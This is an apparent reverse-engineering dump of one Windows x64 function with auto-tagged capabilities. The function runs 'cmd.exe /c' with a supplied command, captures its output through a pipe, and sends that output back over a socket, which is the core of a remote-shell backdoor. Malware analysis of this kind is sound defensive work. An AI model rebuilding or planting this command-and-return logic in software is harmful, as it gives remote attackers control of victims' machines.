Function at 0x140002050
Capabilities:
Create pipe
Create process on windows
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
push rbx
mov eax, 0x1948
call fcn.140004490
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x18e0], rcx
mov qword [rbp + 0x18e8], rdx
mov dword [rbp + 0x18a0], 0x18
mov dword [rbp + 0x18b0], 1
mov qword [rbp + 0x18a8], 0
lea rcx, [rbp + 0x18a0]
lea rdx, [rbp + 0x1890]
lea rax, [rbp + 0x1898]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
sete al
test al, al
je 0x1400020fc
lea rax, str.____Failed_to_create_pipe.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x1400023bf
mov rax, qword [rbp + 0x1898]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
lea rax, [rbp + 0x1870]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1800]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1800], 0x68
mov rax, qword [rbp + 0x1890]
mov qword [rbp + 0x1860], rax
mov rax, qword [rbp + 0x1890]
mov qword [rbp + 0x1858], rax
mov eax, dword [rbp + 0x183c]
or ah, 1
mov dword [rbp + 0x183c], eax
lea rax, [rbp + 0x17e0]
mov rdx, qword [rbp + 0x18e8]
mov r8, rdx
lea rdx, str.cmd.exe__c
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x17e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rax, [rbp + 0xfe0]
mov r8d, 0x800
mov rcx, rax
call sym.mbstowcs
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x1870]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1800]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
sete al
test al, al
je 0x14000228c
lea rax, str.____Failed_to_execute_command.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x1898]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1890]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 0
jmp 0x1400023b0
mov rax, qword [rbp + 0x1870]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov byte [rbp + 0x18bf], 0
mov rcx, qword [rbp + 0x1898]
lea rdx, [rbp + 0xfdc]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0xfff
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
setne al
test al, al
je 0x14000235d
mov eax, dword [rbp + 0xfdc]
mov eax, eax
mov byte [rbp + rax - 0x30], 0
lea rax, str.___Command_output:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, dword [rbp + 0xfdc]
mov edx, eax
mov rax, qword [rbp + 0x18e0]
mov rcx, qword [rax]
lea rax, [rbp - 0x30]
mov r9d, 0
mov r8d, edx
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov byte [rbp + 0x18bf], 1
mov rax, qword [rbp + 0x1870]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1878]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1898]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1890]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movzx ebx, byte [rbp + 0x18bf]
lea rax, [rbp + 0x17e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400023e0
add rsp, 0x1948
pop rbx
pop rbp
ret